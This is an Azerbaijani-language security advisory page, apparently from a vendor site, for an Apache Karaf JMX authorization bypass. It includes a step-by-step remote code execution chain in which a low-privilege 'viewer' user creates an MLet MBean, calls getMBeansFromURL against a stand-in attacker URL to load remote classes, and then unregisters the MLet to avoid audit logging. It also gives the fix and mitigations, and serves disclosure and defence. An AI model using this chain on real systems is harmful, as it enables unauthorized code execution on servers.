CVE-2026-92142

Yüksək

Təsvir

Apache Karaf, uzaqdan JMX konnektoru (standart olaraq 1099 və 44444 portlarında aktiv olan RMI reyestri/serveri) vasitəsilə çağırılan MBean əməliyyatları üzərində rol əsaslı giriş kontrolunu (RBAC) tətbiq edən KarafMBeanServerGuard tərəfindən qorunan bir JMX MBeanServer təqdim edir. Guard, MBeanServer ətrafında java.lang.reflect.Proxy kimi tətbiq edilmişdir və yalnız MBeanInvocationHandler#guarded hissəsində təyin olunmuş sabit əməliyyat adları siyahısını RBAC yoxlamasına yönləndirir: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); MBean həyat dövrü əməliyyatları olan MBeanServer#createMBean, #registerMBean və #unregisterMBean bu siyahıda yer almır. Bu metodlara edilən çağırışlar, etc/jmx.acl.*.cfg faylında konfiqurasiya edilmiş rollardan asılı olmayaraq, heç bir rol yoxlaması olmadan birbaşa alt MBeanServer-ə yönləndirilir. Nəticədə, JMX son nöqtəsinə autentifikasiya ola bilən istənilən istifadəçi, o cümlədən yalnız ən aşağı imtiyazlı "viewer" roluna malik olan istifadəçi, hər hansı bir sinifi MBean kimi instansiya etmək üçün createMBean() və daha sonra onu yenidən silmək üçün unregisterMBean() metodlarını heç bir avtorizasiya yoxlaması və audit loqu yazısı olmadan çağıra bilər (KarafMBeanServerGuard-da loqlama yalnız RBAC rədd yolu ilə baş verir ki, bu yan keçmə həmin yola heç vaxt çatmır). Bu kritikdir, çünki standart JDK MBean olan javax.management.loading.MLet bu şəkildə instansiya edilə bilər. MLet uzaq sinif yükləyicisi (remote classloader) kimi çıxış edir: onun getMBeansFromURL(URL) əməliyyatı hücum edən tərəfin nəzarətində olan URL-dən MLet mətn faylını götürür və orada sadalanan sinifləri hədəf JVM-də yeni MBean-lər kimi instansiya edib qeydiyyata alır. Bu əməliyyata çatmaq hələ də KarafMBeanServerGuard-ın mövcud "invoke" yoxlamasından keçir, lakin standart etc/jmx.acl.cfg faylı "get* = viewer" joker qaydasına uyğun gələn hər hansı metod adına "viewer" roluna icazə verir; bu, yalnız oxuma üçün nəzərdə tutulmuş getter-lər üçün tətbiq edilən evristikadır. "getMBeansFromURL" metodu "get" ilə başladığı üçün o da bu qaydaya uyğun gəlir, beləliklə, standart quraşdırma MLet-i konkret adlandırmayan Karaf-a xas ACL-lər olmadan "viewer" çağırıcılarına onu çağırmaq icazəsi verir. createMBean boşluğu ilə birlikdə bu, "viewer" roluna malik JMX kliyentinə Karaf JVM-də uzaqdan kodun icrası (RCE) üçün yol açır: * İstənilən rola (məsələn, "viewer") malik istifadəçi kimi JMX-də autentifikasiya olunur. * mbs.createMBean("javax.management.loading.MLet", objectName) GUARDED_OPERATIONS siyahısında deyil, RBAC yoxlaması aparılmır, MLet instansiya edilir və qeydiyyata alınır. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) qorunur, lakin metod adı standart "get* = viewer" ACL qaydasına uyğun gəldiyi üçün icazə verilir. * Uzaqdakı .mlet faylı götürülür və orada sadalanan siniflər yüklənərək yeni MBean-lər kimi qeydiyyata alınır, beləliklə Karaf JVM-də hücum edən tərəfin təqdim etdiyi kod işə düşür. * mbs.unregisterMBean(objectName) daha sonra MLet-i silmək üçün istifadə edilə bilər, bu da GUARDED_OPERATIONS siyahısında deyil, RBAC yoxlaması və audit izi yoxdur. Düzəliş createMBean, registerMBean və unregisterMBean metodlarını qorunan əməliyyatlar siyahısına əlavə edir, onlar üçün tələb olunan rolları jmx.acl* konfiqurasiyasından ObjectName və (createMBean/registerMBean üçün) MBean sinif adı vasitəsilə müəyyən edir və hər üç əməliyyatı "admin" rolu ilə məhdudlaşdıran standart etc/jmx.acl.cfg yazılarını təqdim edir. Bu, tətbiqlərin sinif adına xas qaydalar yazmasına da imkan verir, məsələn: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf istifadəçiləri mümkün olan kimi 4.4.12 və ya 4.5.0 və ya daha yeni versiyalara yüksəltmə etməlidirlər. Yüksəltmə mümkün olana qədər, JMX RMI reyestri/serveri portlarına (1099/44444) şəbəkə girişini etibarlı hostlarla məhdudlaşdırın və ya "admin" olmayan hər hansı JMX etibarnamələrinin verilməsindən yayın.

CiddilikYüksək
CVSS8.8
İstismar ehtimalı—
MəhsulApache Karaf
Dərc29 sen 2026
İlk görülmə29 sen 2026

Necə düzəltmək olar

Yeniləyin
  • apache karaf4.4.12 və ya daha yeni versiya

Təsirlənən məhsullar

MəhsulTəsirlənən versiyalarDüzəldildiyi versiya
apache karafv < 4.4.124.4.12

Versiyanızı yoxlayın

Məhsulu seçin və istifadə etdiyiniz versiyanı yazın; versiyanın təsirlənən aralıqda olub-olmadığını görün.

Intelligence 360 paketində

Attack Surface Management

Domenlərinizə bağlı aktivləri, onlarda işləyən texnologiyaları və məlum zəiflikləri bir siyahıda görün.